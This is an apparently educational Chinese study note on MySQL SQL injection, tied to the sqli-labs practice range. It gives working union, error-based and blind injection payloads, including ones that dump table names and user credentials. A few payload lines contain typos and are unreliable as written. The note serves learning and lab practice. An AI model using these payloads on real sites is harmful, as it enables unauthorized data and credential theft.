一、前提
1、数据库语法,结构
2、常见的数据库已经对应的端口
(1)非关系型
- redis: 6379
- MongoDB数据库:27017
(2)关系型
- mysql: 3306
- oracle: 1521
- sql server : 1433
- PostgreSQL :5432
- access
3、特殊的库(mysql)
(1)information_schema库
- schemata表:show databases;就取自该表
- tables表:数据库中的表信息
- columns表:表中的字段信息
(2)、mysql库:存储数据库的用户,权限等。
4、注释
(1)、单行注释:#,--+
注:--后有个空格,使用+表示
(2)、多行注释:/**/
5、select特殊用法(mysql)
- select now(); 查看当前时间
- select database(); 查看当前使用库
- select schema();
- select version(); 查看mysql版本
- select user(); 查看当前登录用户
- select @@datadir; 查看数据路径
6、靶场:sql-lads
(1)下载:http://github.com/Audi-1/sqli-labs
(2)WP:sql注入之sqli-labs靶场通关less(1-65)详细讲解_哔哩哔哩_bilibili
以下所提及的注入基于mysql,闭合方式为单引号,在没有任何过滤的情况下!
二、基础
1、SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令。
2、SQL注入产生原因:用户提交的参数数据未做充分检查过滤就被放到SQL命令中,改变了原有SQL命令的“语义”,且成功被数据库执行。
3、危害:绕过登录验证,获取敏感数据,文件系统操作注册表操作,执行系统命令等。
4、分类
(1)、按数据类型:数字型,字符型
(2)、按返回结果:显错注入,盲注
5、可能存在漏洞的地方:能与数据库交互的地方。参数值,cookie值,参数名,目录名,文件名等
如:搜索栏,登入/注册页面,留言板
6、判断存在SQL注入:在参数后面加上一个单引号,看页面是否返回出错
注:未报错也不代表不存在,可能对单引号进行了过滤。不断尝试!!!
7、判断是字符型还是数字型:
(1)数字型:
- 输入1/0或1/1看页面有无变化
- 输入1 and 1=2看页面是否返回错误,若返回错误,则说明是数字型
- 尝试1 order by 9999 --+
(2)字符型:
- 输入1' and '1' = '2看页面是否返回错误,若返回错误,则说明是字符型
- 在闭合方式为单引号的情况下
- 闭合方式:【' " ') ") )) }】等
- 在显错注入的情况下可以输入单引号或双引号查看错误信息来判断是什么闭合方式
三、联合查询注入
1、思路
- 判断是否存在SQL注入
- 判断SQL注入是什么类型
- 猜解SQL语句中的字段数,显示位
- 获取当前数据库
- 获取数据库中的表
- 获取表中字段数
- 获取表中数据
2、使用函数
group_concat():可以合并多行数据为一行,默认以逗号分隔。可以使用separator改变分隔方式。
如:group_concat(参数,separator '%')
3、执行语句
(1)、猜解字段数:1' order by 3%23
注:%23为#的URL编码,3可以替换成其他数字
(2)、猜解显示位(假设字段数为3):1' union select 1,2,3%23
(3)、获取当前数据库(假设显示位在2的位置):1' union select 1,database(),3%23
(4)、获取当前数据表:1' union 1,select group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
(5)、获取表中字段数(假设表为users):1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users'%23
(6)、获取当前数据(假设有userN,passwd字段):1' union select 1,goup_concat(userN,passwd),3 from users%23
四、报错注入
1、报错注入:页面会返回错误信息,或直接把注入语句的结果直接返回在页面上
2、思路
- 判断是否存在SQL注入
- 判断SQL注入是什么类型
- 获取当前数据库
- 获取数据库中的表
- 获取表中字段数
- 获取表中数据
3、使用函数
参考资料(mysql报错函数):https://www.cnblogs.com/zztac/p/11441292.html
- concat():将多个字符串拼接在一起,不能把字符串合并为一行
- extractvalue(xml文档,参数路径):在xml文件中查找内容
- 第一个参数可以随便写
- 第二个参数路径写错就会引发报错,显示报错信息
- 如:extractvalue(1,concat(0x7e,database(),0x7e))
- 0x7e是波浪号~的十六进制表示
- 参数路径无法识别这些特殊字符就会报错
- 仅在报错注入中的使用
- updatexml(xml数据,节点路径,节点值):将xml文件的内容进行修改更新
- 第一、三个可以随便写
- 第二个参数路径写错就会引发报错,显示报错信息,与extractvalue()类似
-
updatexml(1,concat(0x7e,(select database()),0x7e),1)
- gtid_subset():mysql5.6版本以上才有
- 必须是GTID的集合才能运行,不是的话会报错
- 如:gtid_sudent(database(),1)
注:extractvalue(),updatexml()函数输出字符有长度限制,最长32位。两个0x7e的后一个是为了判断输出是否完整。
4、获取数据可能会超过输出的字段数,可以使用concat+limit来限制。
1'+and+ExtractValue(1,concat(0x7e,(select concat(id,'~',username,'~',password) from security.users limit 2,1),0x7e))%23
五、盲注
1、思路
- 判断是否存在SQL注入
- 判断SQL注入是什么类型
- 获取当前数据库
- 获取数据库中的表
- 获取表中字段数
- 获取表中数据
2、使用函数
- substr(a,b,c):从b位置开始,截取字符串a的c长度
- length(string):输出字符串长度
- count(a):输出a的个数
- if(a,b,c):当a为真时候执行 b,a为假时执行 c。
- ascii(string): 返回字符串的ascii码值
3、布尔盲注(仅仅会返回True和False)
注:尽量用and,不用or
(1)判断SQL注入存在:bp抓包测试,查看返回包的content-length的变化来判断
(2)使用bp爆破模块判断长度
1'+and+length(database())=10%23
1'+and+if(length(database())=10,1,0)=1
(3)、使用bp爆破模块判断字符(mysql对大小写不敏感)
1'+and+substr(database(),1,1)='s'%23
1'+and+if(substr(database(),1,1)='s',1,0)%23
4、时间盲注:返回值只有一种
(1)判断SQL注入存在:
- 1' and sleep(5)%23,不断测试!
- 有的返回包中content-type会有变化
(2)、使用bp爆破模块判断字符,利用时间差
1'+and+if(substr(database(),1,1)='s',sleep(3),sleep(1))--+
六、其他获取数据方式:https://xz.aliyun.com/t/5505